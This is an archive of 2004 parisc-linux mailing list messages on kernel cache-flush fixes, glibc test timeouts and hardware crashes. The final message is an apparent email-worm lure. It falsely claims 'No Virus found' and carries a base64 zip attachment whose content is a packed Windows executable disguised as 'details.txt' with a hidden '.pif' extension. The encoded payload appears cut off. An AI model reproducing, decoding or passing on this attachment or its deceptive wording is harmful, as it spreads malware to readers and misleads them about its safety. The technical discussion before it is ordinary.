> I just apply your patch against the glibc cvs dated 20040405
> (yesterday for me).  It compiles well with last updated gcc (3.3.3-6
> dpkg iirc) :)
> 
> I just complete the 'make -k check' (on chroot disk) which finished
> with nothing more then well known bug :)
> 
> ... And the compile (always in the chroot disk) of the last
> k-2.6.5-pa3 just finishes with success :)


Thanks for the check Joel!

c.



From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Tue, 6 Apr 2004 09:21:58 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20040406132158.GP26344@baldric.uwo.ca>
References: <20040405174131.84BF1494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623335 7640 80.91.229.3 (22 Nov 2014 02:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Apr  6 07:25:06 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1C54844
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 07:25:06 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BAqWd-0001xQ-00; Tue, 06 Apr 2004 09:21:59 -0400
Content-Disposition: inline
In-Reply-To: <20040405174131.84BF1494194@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (53% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 13:25:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21294

On Mon, Apr 05, 2004 at 11:41:31AM -0600, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/05 11:41:31
> 
> Modified files:
> 	.              : Makefile 
> 	include/asm-parisc: cacheflush.h 
> 
> Log message:
> Fix our gdb breakpoint problem
> 
> Removing the full cache flush on non-current process access showed up a
> but in copy_to_user_page(), which is now fixed.
> 
> I also revoked the uselessly named
> 
> flush_icache_user_range()

What was the fix? Can you explain the change please? :)

The glibc test-suite almost completed without issue on the newest
kernel, though I saw a transient failure in one of the resolv tests, it
wasn't a failure in the test, but rather the test ran longer than 2
seconds and was killed. The test uses mtrace() and I've not been able to
duplicate the failure, the test should *not* have run over the
milisecond mark.  I wasn't running anything on the box at that point so
it worries me quite a bit. With the box up and running I'm no longer
able to trigger the slow behaviour that caused the timeout. Previous to
this I had run the entire compile + testsuite from a clean boot, I'll
see if doing that again triggers the failure. It might not be related to
anything you've done, I don't think I've ever run a glibc build and
testsuite from a cold boot... who knows what VM issues lurk?

c.


From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HPMC 2.6.5-rc1 kernel on c3k
Date: Tue, 6 Apr 2004 16:17:24 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <40711E56000010B3@ocpmta1.freegates.net>
References: <20040405180338.GA28537@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623336 7646 80.91.229.3 (22 Nov 2014 02:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:56 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Apr  6 08:17:27 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66D4D490F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 08:17:27 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BArOH-0007zn-00; Tue, 06 Apr 2004 16:17:25 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 6 Apr 2004 16:17:24 +0200
In-Reply-To: <20040405180338.GA28537@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 14:17:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21295

Hi Grant,

>My c3k HPMC'd last night when I was compiling kernels.
>USB was likely just the "victim" and not the culprit since
>I was working remotely and wasn't using any USB devices.
>Ie recent changes to SBA IOMMU code might still be suspect
>(I have no ideas what, just it's the place to start looking).

Just in case, with the same kernel, I got the same kind of pb on the c110
since ccio-dma was changed. Unfortunately I don't have enough time the week-end
to help more.

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 06 Apr 2004 09:18:51 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1081261133.1804.27.camel@mulgrave>
References: <20040405174131.84BF1494194@palinux.hppa> 
	<20040406132158.GP26344@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623336 7648 80.91.229.3 (22 Nov 2014 02:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:56 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: James.Bottomley@SteelEye.com  Tue Apr  6 08:19:34 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19290490F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 08:19:34 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i36EIua32150; Tue, 6 Apr 2004 10:18:56 -0400
In-Reply-To: <20040406132158.GP26344@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 14:19:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21296

On Tue, 2004-04-06 at 08:21, Carlos O'Donell wrote:
> What was the fix? Can you explain the change please? :)

copy_to_user_page() does the copy via a non-equivalently aliased kernel
page.  Unless that page is flushed at the kernel address, the writeback
cache may not make the data visible (which is why gdb wasn't able to set
breakpoints anymore).

For some reason every arch implements copy_to_user_page as a memcpy
followed by flush_icache_user_range().  The usually map
flush_icache_user_range() to a kernel dcache page flush, which is
contradictory.

> The glibc test-suite almost completed without issue on the newest
> kernel, though I saw a transient failure in one of the resolv tests, it
> wasn't a failure in the test, but rather the test ran longer than 2
> seconds and was killed. The test uses mtrace() and I've not been able to
> duplicate the failure, the test should *not* have run over the
> milisecond mark.  I wasn't running anything on the box at that point so
> it worries me quite a bit. With the box up and running I'm no longer
> able to trigger the slow behaviour that caused the timeout. Previous to
> this I had run the entire compile + testsuite from a clean boot, I'll
> see if doing that again triggers the failure. It might not be related to
> anything you've done, I don't think I've ever run a glibc build and
> testsuite from a cold boot... who knows what VM issues lurk?

It's possible.  As global flushes get removed any lurking holes in the
rest of the API will emerge when they stop being covered by the global
flush.

James




From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Tue, 6 Apr 2004 08:40:40 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20040406154040.GD750@tausq.org>
References: <20040405174131.84BF1494194@palinux.hppa>
	<20040406132158.GP26344@baldric.uwo.ca>
	<1081261133.1804.27.camel@mulgrave>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623336 7651 80.91.229.3 (22 Nov 2014 02:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: randolph@tausq.org  Tue Apr  6 09:19:25 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 456C74887
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 09:19:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6BA90CD28A; Tue,  6 Apr 2004 08:40:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1081261133.1804.27.camel@mulgrave>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 15:19:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21297

> It's possible.  As global flushes get removed any lurking holes in the
> rest of the API will emerge when they stop being covered by the global
> flush.

i also saw a weird problem last night where i suddenly ran out of
memory (1.5G physical + 500MB swap) and the OOM killer killed lots of
apache processes. Earlier I was running a gdb testsuite and had to kill
a bunch of stuck processes (there's some problems in gdb that i'm
debugging...). There are a lot of "protection id trap" messages in my
kernel log. not sure which bit was real and which bit was coincidence
though :(

i'll try this again with an older kernel and see what happens.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: awhite@star-solutions.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: Warning again
Date: Tue, 6 Apr 2004 11:48:34 -0400
Lines: 578
Approved: news@gmane.org
Message-ID: <20040406153854.5AD7913B3@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623337 7653 80.91.229.3 (22 Nov 2014 02:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: awhite@star-solutions.com  Tue Apr  6 09:39:01 2004
Return-Path: <awhite@star-solutions.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4574F4887
	for <parisc-linux@parisc-linux.org>;
	Tue,  6 Apr 2004 09:39:01 -0600 (MDT)
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70]) by cuprel1.hp.com (Postfix) with ESMTP id 5AD7913B3
	for <parisc-linux@parisc-linux.org>;
	Tue,  6 Apr 2004 08:38:54 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 15:39:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21298

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Do not visit this illegal websites!

+++ Attachment: No Virus found
+++ Bitdefender AntiVirus - www.bitdefender.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="abuses_parisc-linux.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="abuses_parisc-linux.zip"

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
